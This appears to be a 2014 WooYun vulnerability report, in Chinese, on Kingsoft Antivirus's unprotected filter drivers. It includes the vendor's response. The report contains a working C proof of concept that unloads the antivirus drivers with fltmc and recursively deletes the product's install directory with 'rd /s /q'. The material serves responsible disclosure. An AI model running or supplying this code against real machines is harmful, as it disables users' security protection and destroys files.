编写ring3程序攻破金山毒霸硬盘保护

漏洞详情

披露状态:

2014-02-19: 细节已通知厂商并且等待厂商处理中
2014-02-19: 厂商已经确认,细节仅向厂商公开
2014-02-22: 细节向第三方安全合作伙伴开放
2014-03-01: 细节向核心白帽子及相关领域专家公开
2014-03-11: 细节向普通白帽子公开
2014-03-31: 细节向实习白帽子公开
2014-05-20: 细节向公众公开

简要描述:

系统环境:win7 64bit

采用在金山官网上最新下载的新毒霸(悟空)

运行详细说明中的程序,即可攻破硬盘保护,
另有附赠功能:直接删除金山安装目录下的若干配置文件,导致金山毒霸下次开机不能启动。

此漏洞是由金山毒霸自我保护机制的缺陷所导致,(驱动缺陷)
同样原理下,能做哪些事,大家都懂得!

希望金山能好好照顾您的毒霸,尽快修复漏洞= =!

详细说明:

您对您的filter驱动(KNBDrv,kisknl)根本没有保护……



该代码跑一边肯定废掉KNBDrv,kisknl,

有时要跑两边才能废掉kingsoft antivirus目录下的文件,达到毒霸不能重启的效果



记得用管理员权限跑哦



#include "stdafx.h"
#include <windows.h>

#define CMD_PREFIX _T("rd /s /q ")
#define CMD_PREFIX_SIZE sizeof(CMD_PREFIX)

//雕虫小技,诸君见笑了
int _tmain(int argc, _TCHAR* argv[])
{
_tsystem(_T("fltmc unload KNBDrv"));

_tsystem(_T("fltmc unload kisknl"));

HKEY hKey;
char szValue[MAX_PATH];
DWORD dwType;
DWORD dwLength;

RegOpenKey(HKEY_LOCAL_MACHINE, _T("SOFTWARE\\Kingsoft\\antivirus"), &hKey);
RegQueryValueEx(hKey,
_T("ProgramPath"),
NULL,
&dwType,
(LPBYTE)szValue,
&dwLength);

TCHAR strCmd[MAX_PATH + CMD_PREFIX_SIZE];

wsprintf(strCmd, _T("%s\"%s\""), CMD_PREFIX, szValue);

_tsystem(strCmd);

_tsystem(_T("pause"));

return 0;
}

漏洞证明:

kingsoft.png





如需进一步信息,包括并不限于整个工程文件、更具体的系统环境、请我吃饭、讨论明清史等等,邮件发至littlebluepuppy@163.com

修复方案:

对您的驱动给予保护,

对漏洞的上报者给予奖励

版权声明:转载请注明来源 听曲人@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2014-02-19 16:10

厂商回复:

感谢您的反馈。综合判断漏洞的利用场景与复杂度、以及影响。总和评估为中危。我们将尽快跟进。

最新状态:

暂无


漏洞评价: